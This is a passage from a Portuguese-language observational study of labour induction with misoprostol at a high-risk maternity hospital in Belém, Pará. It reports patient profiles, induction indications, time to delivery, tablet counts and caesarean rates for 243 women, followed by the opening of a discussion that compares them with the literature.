<p class="wp-block-paragraph"><strong>1.2.2. Objetivos específicos:</strong></p>



<ul class="wp-block-list">
<li>Identificar o perfil epidemiológico das gestantes submetidas a indução com misoprostol;</li>



<li>Analisar quais as principais indicações de indução de trabalho de parto;</li>



<li>Quantificar a número de casos que evoluíram para parto cesáreo devido a falha de indução;</li>



<li>Verificar o motivo pelo qual houve conversão do parto normal para o parto cesáreo durante o processo de indução do trabalho de parto com misoprostol.</li>
</ul>



<p class="wp-block-paragraph"><strong>1.3 Justificativa</strong></p>



<p class="wp-block-paragraph">O Brasil vive uma epidemia de cesarianas, com cerca de 1,6 milhão de cesarianas realizadas a cada ano, ocupando o segundo lugar no mundo em número de partos cesáreos. Tal prática vem ocasionando elevação nos custos dos serviços de saúde e nos riscos de morbimortalidade materna e perinatal, sem causar impacto na redução das taxas de perimortalidade. Nas últimas décadas, a taxa nacional de operações cesarianas aumentou progressivamente e a cirurgia cesariana tornou-se o modo de parto mais comum no país (Pfutzenreuter <em>et al</em>., 2019; Nascimento; Vendramini, 2019). A preocupação com o excesso de cesarianas nas últimas décadas tem despertado um crescente interesse pelos métodos de indução, buscando-se o mais efetivo e seguro para o binômio materno-fetal (Souza <em>et al</em>., 2010). Assim, o preparo cervical prévio tem papel importante para aumentar as chances de sucesso da intervenção (Nascimento; Vendramini, 2019).</p>



<p class="wp-block-paragraph">Se bem indicada, a indução evitará, na realidade brasileira, a realização desnecessária de uma cesariana (Scapin <em>et al.</em>, 2019). Atualmente, é cada vez mais frequente o uso do misoprostol como agente de indução promissor devido suas altas taxas de parto sem causar resultados fetais negativos, sua facilidade de armazenamento e custo acessível (Ozbasli <em>et al</em>., 2019).</p>



<p class="wp-block-paragraph">Sendo assim, o misoprostol é considerado o método padrão para obtenção maturidade cervical. Acredita-se que 25 µg deste medicamento administrado por via vaginal seja a dosagem ideal para gestantes com fetos viáveis (Godoy, 2017). Uma revisão da literatura realizada demonstrou que o misoprostol representa um método efetivo para amadurecimento do colo e indução do parto. A via de administração recomendada é a vaginal, porém ainda é necessário definir qual a melhor e menor dosagem capaz de desencadear o trabalho de parto, com a menor incidência de complicações (Souza <em>et al</em>., 2010). Dessa forma, este fármaco tem um papel importante na indução do trabalho de parto seja em gestações habituais ou de alto risco.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>REFERÊNCIA CONCEITUAL</strong></p>



<p class="wp-block-paragraph">Na obstetrícia, a indução do parto é uma intervenção comum e a sua utilização varia entre diferentes países e sistemas de saúde. A indução do parto significa estimulação das contrações uterinas antes do início do trabalho de parto espontâneo (Rahimi <em>et al</em>., 2023; Kerr <em>et al</em>., 2021). O objetivo da indução do parto é conseguir um parto vaginal seguro dentro de um determinado período e requer um equilíbrio cuidadoso entre eficácia e risco (Kerr <em>et a</em>l., 2021).&nbsp;</p>



<p class="wp-block-paragraph">Quando bem indicada, a indução evita a realização desnecessária de uma cesariana (Paizão <em>et al</em>., 2023). O percentual de partos por cesariana hoje no Brasil é de 56% e está relacionado a desfechos negativos para mães e bebês, quando tais cirurgias são desnecessárias: aumento da morbimortalidade materna, da prematuridade, de óbitos fetais e anormalidades placentárias, de problemas na amamentação e no desenvolvimento do sistema imunológico do recém-nascido (Manayo; Gualhamo, 2022). Dessa forma, a indução do trabalho de parto reduz o número de cesáreas e favorece o parto normal.</p>



<p class="wp-block-paragraph">As causas mais comuns de indução do parto são: gestação prolongada (&gt; 42 semanas), pré-eclâmpsia e ruptura prematura de membranas.&nbsp; Para a indução do parto é necessária a administração de indutores de parto, que pode ser mecânico ou farmacológico, sendo o método farmacológico com misoprostol um dos mais usados (Godoy, 2017). As prostaglandinas são os agentes atuais de escolha, pois foi demonstrado que a taxa de partos vaginais aumenta dentro de 24 horas após a indução do parto e a necessidade de ocitocina diminui (Dadashaliba <em>et al</em>., 2021).</p>



<p class="wp-block-paragraph">O misoprostol pode ser administrado pelas vias vaginal, oral e sublingual, sendo a via vaginal a preferida, em regimes de altas ou baixas doses, embora a via de uso ideal seja ainda desconhecida. As doses inicialmente utilizadas para indução do parto foram empíricas e variaram de 25 µg a cada 3 a 6 horas, até 200 µg em dose única por via intravaginal ou oral (Yousef; Getachew, 2021; Correa et al., 2022). No entanto, o misoprostol tem contraindicações, como cesariana anterior, cirurgia uterina prévia, placenta prévia, asma, doença coronariana e desproporção cefalopélvica (Godoy, 2017).</p>



<p class="wp-block-paragraph">Instituições como o Colégio Americano de Obstetras e Ginecologistas sugere o uso de prostaglandinas, como o misoprostol, para amadurecimento cervical e indução do parto (Dadashaliba <em>et al</em>., 2021). O misoprostol apresenta vários efeitos no colo uterino, atuando essencialmente na matriz extracelular. Além disso, relaxa a musculatura lisa do colo do útero e facilita a sua expansão, facilitando simultaneamente o aumento do cálcio intracelular e promovendo leves contrações uterinas. Esses mecanismos permitem o apagamento e a dilatação cervicais graduais concomitantes ao aumento da atividade uterina, o que garante uma indução bem-sucedida do parto na maioria dos casos (Scapin <em>et al</em>., 2018).</p>



<p class="wp-block-paragraph">O misoprostol apresenta baixa morbidade e mortalidade perinatal quando administrado na dose de 25 µg a cada 4 a 6 horas e está associado a um baixo risco de alterações na contratilidade uterina e síndrome de hiperestimulação (Scapin et al., 2018), o uso em intervalos regulares a cada 3 a 6 horas evita o risco de taquissistolia uterina (Pergialiotis <em>et al</em>., 2023). Uma das complicações incomuns, mas arriscadas, associadas ao uso desta droga é a ruptura uterina (Dadashaliban et al., 2021). A vantagem do misoprostol sobre outros análogos da prostaglandina é que ele é mais barato, estável à temperatura ambiente e está disponível na forma de comprimidos orais (Rahimi<em> et al</em>., 2023).</p>



<p class="wp-block-paragraph">A decisão sobre iniciar a indução do trabalho de parto envolve indicações patológicas e desejo materno. Após tomada a decisão, começa com uma avaliação individualizada do grau de prontidão para o parto de cada paciente usando a pontuação de Bishop. O California Maternal Quality Collaborative (CMQCC) sugere que o amadurecimento cervical continue até que uma pontuação de Bishop seja 6 ou superior para multíparas e 8 ou superior para nulíparas (Carlson, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Quando uma indução do trabalho de parto é bem-sucedida, os métodos de indução desencadeiam e avançam ciclos de feedback fisiológico positivo que progridem da fase latente para a fase ativa do trabalho de parto, ocasionando contrações rítmicas e regularize dilatação do colo uterino (Carlson et al., 2021). Entretanto, a tentativa de indução do trabalho de parto pode falhar e podemos definir quando o trabalho de parto não é deflagrado, podendo ocorrer em aproximadamente 10% das gestantes, a depender do método e da definição utilizada (Paixão et al., 2023)</p>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA</strong></p>



<p class="wp-block-paragraph"><strong>3.1 Tipo de estudo</strong></p>



<p class="wp-block-paragraph">Este estudo caracterizou-se como uma pesquisa do tipo transversal, observacional, descritivo e retrospectivo, com abordagem quantitativa.</p>



<p class="wp-block-paragraph">Na perspectiva de Lukosecivius (2018) a pesquisa descritiva, atende de forma mais adequada a intenção de estudos, que pretendem expor as características de determinado fenômeno. Destaca-se que a pesquisa descritiva se preocupa em observar os fatos, registrá-los, analisá-los, classificá-los e interpretá-los, uma vez que o pesquisador não interfere neles.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2 Cenário de pesquisa</strong></p>



<p class="wp-block-paragraph">Este estudo foi realizado na Fundação Santa Casa de Misericórdia do Pará (FSCMPA), a partir de documentos disponibilizados pelo setor de Coordenação de Arquivos Médicos (CAME) e pela Gerência de Tocoginecologia (GTOC).</p>



<p class="wp-block-paragraph">A instituição de saúde é a mais antiga do Norte do Brasil, atualmente é um órgão de administração indireta, vinculado à Secretaria de Estado de Saúde Pública. Com certificação de Hospital de Ensino, conforme a Portaria Interministerial MS/MEC nº 2378 de 26 de outubro de 2004. Vinculada ao SUS por meio da Portaria nº 2.859/MS, de 10 de novembro de 2006.&nbsp; Certificada, em 2021, como Hospital Acreditado Pleno ONA III em Políticas de Qualidade e Segurança do Paciente.&nbsp;</p>



<p class="wp-block-paragraph">É a principal Unidade de Referência em gravidez de alto risco na região. Essa instituição possui 482 leitos, com atendimento 100% SUS e cinco ambulatórios: Ambulatório do Prematuro, Ambulatório da Mulher, Ambulatório de Pediatria, Ambulatório de Especialidades Cirúrgicas e Ambulatório de Especialidades Clínicas (FSCMP, 2020).</p>



<p class="wp-block-paragraph"><strong>3.3</strong> <strong>Amostra do estudo, critérios de inclusão e exclusão</strong></p>



<p class="wp-block-paragraph">O estudo contou com a amostra não probabilística e por conveniência. Foram estudados prontuários médicos de gestantes internadas para indução do trabalho de parto de feto vivo, no período de janeiro a abril de 2024. No entanto, foram excluídas pacientes que internaram para indução de feto morto e aborto legal.</p>



<p class="wp-block-paragraph">Para assegurar a privacidade e o sigilo quanto aos dados coletados, as participantes foram identificadas pelas letras G<strong> </strong>(Gestante), seguidas de um algarismo arábico (G<sub>1, </sub>G<sub>2</sub>, G<sub>3</sub>,&#8230;G<sub>n</sub>), conforme a realização da coleta de dados, sem especificar o nome. A utilização dessa identificação, teve como propósito de resguardar a identidade dos participantes da pesquisa.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.4</strong> <strong>Técnica de coleta de dados</strong></p>



<p class="wp-block-paragraph">A coleta de dados ocorreu no período de outubro a dezembro de 2024, após a aprovação do comitê de ética em pesquisa da FSCMPA, a partir de dados documentais dos prontuários eletrônicos (PEP), disponível no sistema MV, guiado por um formulário, com dados epidemiológicos e obstétricos (APÊNDICE A).&nbsp;</p>



<p class="wp-block-paragraph">O roteiro foi dividido em duas partes, a primeira com informações sociodemográficas, como: idade, cidade, estado civil, escolaridade, raça e paridade. A segunda parte, com dados obstétricos relacionados a assistência a indução do trabalho de parto, os quais proporcionaram a elaboração das áreas a serem analisadas.</p>



<p class="wp-block-paragraph">Para o sucesso da indução do parto, foram considerados: parto vaginal não operatório, sem o uso de instrumento fórceps ou vácuo-extrator. Considerando: número de partos não operatórios; número de partos cesarianos; e, tempo de indução do parto.&nbsp;</p>



<p class="wp-block-paragraph">Foi considerado o protocolo de indução da FSCMP em sua versão antiga, onde previa o uso de um comprimido de misoprostol via vaginal a cada 6 horas.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.5</strong> <strong>Dimensão ética</strong></p>



<p class="wp-block-paragraph">O estudo foi enviado para o Comitê de Ética e Pesquisa da FSCMPA, CAAE 80464524.8.0000.5171, obtendo a aprovação, conforme o nº de parecer:7.056.486, dia 4 de setembro de 2024 (ANEXO B), obedecendo a todos os aspectos éticos da Resolução 466/12 do CNS/MS, que regula pesquisa com seres humanos e que na apresentação e ou publicação dos resultados.&nbsp;</p>



<p class="wp-block-paragraph">Quanto aos riscos à instituição, houve o risco de conflitos de interesse. Então, de modo a minimizar tal risco, foi assegurado a inexistência de conflito de interesses entre o pesquisador e os sujeitos da pesquisa ou patrocinador do projeto. Além disso, o estudo não utilizou dados secundários.&nbsp;</p>



<p class="wp-block-paragraph">No entanto, além de riscos à instituição, o estudo causou riscos aos dados das gestantes, com o risco de gerar vazamento de informações coletadas, já que terá acesso a informações pessoais. Entretanto, os dados foram recolhidos por meio dos questionários, com única e exclusiva finalidade gerar conhecimento científico, sendo garantida a confidencialidade de tais informações, assim como o anonimato.</p>



<p class="wp-block-paragraph">Ademais, quanto aos riscos ao pesquisador, ocorre o risco de perda de material em algum momento da pesquisa, sendo realizado um e-mail próprio da pesquisa para realizar o armazenamento dos arquivos em nuvem.</p>



<p class="wp-block-paragraph">Todavia, foi realizado o esclarecimento de todas as dúvidas junto à comunidade, demonstrando a relevância da pesquisa para a assistência pré-natal, sendo uma ferramenta de auxílio aos profissionais, mediante a melhoria da prestação da assistência de saúde.</p>



<p class="wp-block-paragraph">Os resultados obtidos foram descritos de forma geral e não individual, para que possam servir como fonte de informação para os profissionais e estudantes interessados no tema, essa pesquisa, também, poderá ser apresentada em eventos científicos e publicada em revistas científicas.&nbsp;</p>



<p class="wp-block-paragraph">Quanto aos benefícios, não existem benefícios diretos advindos da participação neste projeto para os sujeitos da pesquisa. Entretanto, os dados recolhidos serviram para conhecer melhor as taxas de sucesso de trabalho de parto com uso de misoprostol em gestantes, assim pode-se afirmar a importância do misoprostol como indutor do trabalho de parto em gestantes de alto risco, reduzindo por conseguinte a taxa de partos cirúrgicos. Aos pesquisadores participantes, o estudo proporcionará experiência e conhecimento científico acerca do tema abordado.</p>



<p class="wp-block-paragraph"><strong>3.6&nbsp; Análise, tratamento e interpretação dos dados</strong></p>



<p class="wp-block-paragraph">Foram coletados e registrados no Excel, dados referentes a 243 pacientes, atendidas na maternidade para indução do parto com misoprostol. Inicialmente foi necessário estudar o banco de dados a fim de compreender cada variável presente no estudo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.6.1. Análise descritiva dos dados</strong></p>



<p class="wp-block-paragraph">Neste estudo, foi realizada análise estatística descritiva simples, utilizando para isso o programa Excel 365®. Apresentando as variáveis do banco de dados, que em grande parte eram categóricas, em tabelas de frequência e percentual.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, outras variáveis foram utilizadas de forma independente, como: idade; município de origem; número de gestação; Partos normais prévios; cesarianas previas; abortos prévios; idade gestacional na admissão; morbidade materna; número de comprimidos de misoprostol; uso de ocitocina.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS</strong></p>



<p class="wp-block-paragraph">Fizeram parte da pesquisa o documento de 243 gestantes que realizaram indução do parto de feto vivo na Fundação Santa Casa de Misericórdia do Pará. Os resultados do estudo foram divididos em sete categorias.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.1</strong> <strong>Caracterização das pacientes em relação a idade e escolaridade</strong></p>



<p class="wp-block-paragraph">A Tabela 1, mostra a caracterização das pacientes segundo a idade e escolaridade. Dessa forma, observou-se que a indução do parto com misoprostol ocorreu mais em gestantes com idade entre 19 e 35 anos (77,36%), seguido das com menor ou igual 18 anos (13,99%). Quanto à escolaridade, grande parte possuía ensino médio completo (39,50%), seguindo de ensino médio incompleto (20,57%) e fundamental incompleto (16,87%), resultando ainda em um grande público com baixa escolaridade.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1.</strong> Perfil das gestantes submetidas a indução do parto normal com misoprostol, segundo a idade e escolaridade, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="441" height="290" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-939.png" alt="" class="wp-image-258837" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-939.png 441w, https://revistaft.com.br/wp-content/uploads/2025/12/image-939-300x197.png 300w" sizes="(max-width: 441px) 100vw, 441px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph"><strong>4.2</strong> <strong>Caracterização das pacientes de acordo com o município de origem</strong></p>



<p class="wp-block-paragraph">De acordo com os dados encontrados, a maior parte das pacientes eram provenientes de Belém e região metropolitana com 53,05%. A região metropolitana, também conhecida como Grande Belém, envolve oito municípios do estado do Pará, dentre eles estão: Ananindeua, Barcarena, Belém, Benevides, Castanhal, Marituba, Santa Bárbara do Pará e Santa Izabel (Abreu, 2024). Abaixo a tabela 2, com frequência de atendimento de acordo com cada município.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2</strong>. Pacientes atendidas para indução do parto, segundo a naturalidade, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="457" height="825" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-940.png" alt="" class="wp-image-258838" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-940.png 457w, https://revistaft.com.br/wp-content/uploads/2025/12/image-940-166x300.png 166w" sizes="(max-width: 457px) 100vw, 457px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph"><strong>4.3</strong> <strong>Caracterização das pacientes segundo número de gestações e idade gestacional na admissão</strong></p>



<p class="wp-block-paragraph">O estudo evidenciou que a maior parte das pacientes que induziram o parto com misoprostol, eram primigesta (53,90%), seguidas das que possuíam um ou dois partos normais anteriores (36,21%) (Tabela 3).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 3</strong>. Pacientes submetidas a indução do parto com misoprostol, segundo paridade, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="449" height="143" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-941.png" alt="" class="wp-image-258840" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-941.png 449w, https://revistaft.com.br/wp-content/uploads/2025/12/image-941-300x96.png 300w" sizes="(max-width: 449px) 100vw, 449px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph">Quanto a idade gestacional, a maioria estava na faixa de Termo precoce (37 a 38 semanas e 6 dias) 45,67%, seguido de gestação a termo (39 a 40 semanas e 6 dias) 28,39%, e Pré-termo moderado (32 a 36 semanas e 6 dias) 17,28%, exposto numericamente na tabela 4.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 4</strong>. Pacientes submetidas a indução do parto com misoprostol, segundo a idade gestacional na admissão, Belém, Pará.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="512" height="253" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-942.png" alt="" class="wp-image-258842" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-942.png 512w, https://revistaft.com.br/wp-content/uploads/2025/12/image-942-300x148.png 300w" sizes="(max-width: 512px) 100vw, 512px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph"><strong>4.4</strong> <strong>Caracterização das pacientes de acordo com a patologia prévia e o motivo de indução do parto com misoprostol</strong></p>



<p class="wp-block-paragraph">Em relação a patologia prévia, foi observado que grande parte das pacientes que foram submetidas a indução com misoprostol, não possuíam patologia prévia 48,97%, no entanto, em se tratando de uma maternidade de alto risco, também se observou uma grande parcela de pacientes com hipertensão gestacional com 35,39%, conforme a tabela 5.&nbsp;</p>



<p class="wp-block-paragraph">Ademais, quanto ao motivo para indução do parto, o mais frequente foi relacionado a Rotura Prematura de Membrana com 22,63%, seguido de Hipertensão na Gestação 20,98% e Pós-Datismo 16,46%, estabelecido na tabela 6. É válido destacar que houve outros motivos frequentes, como: Feto com Restrição de Crescimento Intrauterino 6,99%; Diabetes Gestacional 6,58%; e, Bishop &lt;6 4,11%.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 5</strong>.&nbsp; Pacientes submetidas a indução do parto com misoprostol, com patologia prévia, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="518" height="388" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-943.png" alt="" class="wp-image-258843" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-943.png 518w, https://revistaft.com.br/wp-content/uploads/2025/12/image-943-300x225.png 300w" sizes="(max-width: 518px) 100vw, 518px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 6</strong>. Dados referentes às pacientes submetidas a indução do parto com misoprostol, segundo a indicação, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="527" height="546" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-944.png" alt="" class="wp-image-258845" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-944.png 527w, https://revistaft.com.br/wp-content/uploads/2025/12/image-944-290x300.png 290w" sizes="(max-width: 527px) 100vw, 527px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph">Ademais, dentre a amostra do estudo, foi observado a realização da indução do parto normal em uma paciente vivendo com o vírus HIV. É importante salientar, que a indução do parto nessas pacientes não é contraindicada, desde que haja um planejamento, monitoramento contínuo e adequado, bem como, a carga viral controlada (Ministério da Saúde, 2022).</p>



<p class="wp-block-paragraph"><strong>4.5. Caracterização das pacientes quanto a quantidade ao tempo de indução e resolução do parto</strong></p>



<p class="wp-block-paragraph">Notou-se que o tempo de indução até a resolução do parto, teve maior frequência depois de 12 horas até 24 horas após iniciar o processo de indução com 33,30%, seguido de mais de 24 horas até 48 horas 28,80%. No entanto, também teve pacientes que tiveram o parto resolvido com até 60 horas ou mais 7,01%, conforme a tabela 7.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 7</strong>.&nbsp; Dados referentes às pacientes submetidas a indução do parto com misoprostol, segundo tempo de indução do parto até resolução do parto, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="491" height="199" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-945.png" alt="" class="wp-image-258846" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-945.png 491w, https://revistaft.com.br/wp-content/uploads/2025/12/image-945-300x122.png 300w" sizes="(max-width: 491px) 100vw, 491px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph">Com relação a quantidade de comprimidos de misoprostol utilizados, grande parte das gestantes necessitaram de apenas 2 comprimidos 24,69% para resolução do parto, porém, também houve uma parcela significativa que necessitaram de 8 comprimidos com um percentual de 13,58%. Demonstrado detalhadamente na tabela 8.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 8</strong>.&nbsp; Dados referentes às pacientes submetidas a indução do parto com misoprostol, segundo quantidade de misoprostol usados para indução, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="565" height="240" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-946.png" alt="" class="wp-image-258848" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-946.png 565w, https://revistaft.com.br/wp-content/uploads/2025/12/image-946-300x127.png 300w" sizes="(max-width: 565px) 100vw, 565px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph">Quanto à resolução do parto, um pouco mais da metade evoluiu a parto normal 50,61%, porém na amostra houve uma grande parcela que resultou em parto cesariano 49,39%, com uma diferença de 0,61% entre as categorias. Além disso, durante o trabalho de parto 56,79% utilizaram outro uterotônico, como a ocitocina. Conforme demonstrado nas tabelas 9 e 10.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 9</strong>.&nbsp; Dados referentes às pacientes submetidas a indução do parto com misoprostol, segundo taxa de sucesso de indução, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="561" height="119" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-947.png" alt="" class="wp-image-258850" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-947.png 561w, https://revistaft.com.br/wp-content/uploads/2025/12/image-947-300x64.png 300w" sizes="(max-width: 561px) 100vw, 561px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 10</strong>. Dados referentes às pacientes submetidas a indução do parto com misoprostol, segundo uso de ocitocina durante o trabalho de parto, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="563" height="144" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-948.png" alt="" class="wp-image-258851" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-948.png 563w, https://revistaft.com.br/wp-content/uploads/2025/12/image-948-300x77.png 300w" sizes="(max-width: 563px) 100vw, 563px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph"><strong>4.6. Caracterização das pacientes quanto a evolução a parto normal, segundo a paridade</strong></p>



<p class="wp-block-paragraph">Das 243 pacientes submetidas a indução do parto, 123 pacientes evoluiram a parto normal. Dessa forma, notou-se que 55,28% eram multigestas e 44,72% eram multigestas. Conforme a tabela 11.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 11</strong>.&nbsp; Paridade das gestantes que obtiveram sucesso na indução do parto com misoprostol, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="555" height="115" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-949.png" alt="" class="wp-image-258852" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-949.png 555w, https://revistaft.com.br/wp-content/uploads/2025/12/image-949-300x62.png 300w" sizes="(max-width: 555px) 100vw, 555px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph"><strong>4.7. Caracterização das pacientes quanto ao motivo da indicação de cesariana</strong></p>



<p class="wp-block-paragraph">Dentro da amostra, o número de partos cesarianos foi de 120, correspondente a 49,39%, conforme indicado na tabela 9. Com isso, de acordo com o estudo, quanto ao motivo de indicação de cesariana, demonstrou que a maior parte das pacientes foram submetidas a cesariana devido sofrimento fetal agudo no trabalho de parto 19,99%, seguido por falha na indução 18,3%, e, cesárea a pedido 15%. Segue de forma descritiva na tabela 12.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 12.</strong>&nbsp; Dados referentes às pacientes submetidas a indução do parto com misoprostol, segundo motivo de indicação de cesariana, Belém, Pará, 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="580" height="516" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-950.png" alt="" class="wp-image-258854" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-950.png 580w, https://revistaft.com.br/wp-content/uploads/2025/12/image-950-300x267.png 300w" sizes="(max-width: 580px) 100vw, 580px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Silva, 2025.</p>



<p class="wp-block-paragraph"><strong>5. DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">A indução do trabalho de parto é uma prática obstétrica comum em todo o mundo, utilizada quando a continuação da gravidez representa riscos para a mãe, para o bebê ou para ambos. Na instituição, de acordo com dados fornecidos pela Coordenação de Tocoginecologia, no período de janeiro a abril, tiveram no total 2.880 partos de fetos vivos (vaginal ou cesariano), sendo que destes 243 gestantes foram submetidas a indução do parto com misoprostol, obtendo-se uma taxa de 8,43%. Assemelhando-se a outros estudos encontrados na literatura.&nbsp;</p>



<p class="wp-block-paragraph">De acordo com um inquérito global da Organização Mundial da Saúde (OMS) sobre saúde materna e perinatal, que incluiu 373 unidades de saúde em 24 países e quase 300.000 partos, a taxa de indução do trabalho de parto foi de 9,6%. As taxas variaram significativamente entre os países, sendo a mais baixa no Níger (1,4%) e a mais alta no Sri Lanka (35,5%) (Okunola <em>et al</em>., 2023).</p>



<p class="wp-block-paragraph">Nos Estados Unidos, o percentual de partos induzidos ultrapassou 30% em 2020. Na Europa, observa-se um aumento dessa prática em diversos países, incluindo aqueles conhecidos por uma menor medicalização do parto, como os países escandinavos. Na França, por exemplo, a taxa de indução passou de 22% entre 2010 e 2016 para cerca de 26% em 2021 (Brafman, 2024).</p>



<p class="wp-block-paragraph">No que diz respeito a epidemiologia, notou-se que as gestantes que foram atendidas na instituição em sua grande maioria estavam na faixa etária de 19 a 35 anos (77,36%), condizendo com estudos realizados em outras maternidades brasileiras, onde a idade variou de 18 a 45 anos, e a mediana foi de 27 anos.&nbsp;</p>



<p class="wp-block-paragraph">Em outro estudo, realizado no Hospital das Clínicas da Universidade Federal de Minas Gerais, das 1.000 gestantes submetidas à indução do parto com misoprostol, a variação de idade foi de 13 a 48 anos, com média de 27,66 anos e mediana de 27 anos (Correa, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Quanto à escolaridade, a maior parte possuía ensino médio completo, porém ainda com uma taxa de baixa escolaridade bem elevada 16,87%. Alguns estudos apontam que a escolaridade é um fator de impacto que pode afetar na escolha da via de parto (Souza <em>et al</em>., 2022).</p>



<p class="wp-block-paragraph">Em relação ao município de origem, mais da metade dos atendimentos realizados foram em gestantes provenientes do município de Belém e região metropolitana 53,05%. No entanto, com uma taxa alta de atendimentos de outros municípios interioranos (46,95%). Mostrando que a maternidade em questão atende uma população ampla e de diversos municípios.&nbsp;</p>



<p class="wp-block-paragraph">Ademais, ainda dentro do perfil, a maior parte das gestantes submetidas a indução, que evoluíram para parto normal eram multigestas 55,28%, seguido de 44,71% primigesta. Em um estudo de coorte retrospectiva, foram analisadas 4002 mulheres que passaram por indução de parto, sendo 49,1% da coorte primigestas e 50,9% eram multíparas, com achados bem semelhantes ao estudo (Silva<em> et al</em>., 2022).</p>



<p class="wp-block-paragraph">Para Corrêa (2022), a paridade influencia na taxa de sucesso da indução do parto, uma vez que mulheres multíparas tendem a ter maiores taxas de sucesso na indução em comparação com nulíparas.&nbsp;</p>



<p class="wp-block-paragraph">Em uma pesquisa retrospectiva, realizada com 940 mulheres submetidas à indução do trabalho de parto revelou que a taxa de sucesso foi influenciada pela paridade. Ou seja, mulheres com partos anteriores apresentaram maior probabilidade de um parto vaginal bem-sucedido após a indução (Okunola <em>et al</em>., 2022).</p>



<p class="wp-block-paragraph">Quanto ao motivo de indução, o mais comum foi relacionado a Rotura Prematura de Membrana, Hipertensão na Gestação e Pós-Datismo. É válido destacar que houve outros motivos frequentes, como: Feto com Restrição de Crescimento Intrauterino, Diabetes Gestacional e Bishop &lt;6.&nbsp;</p>



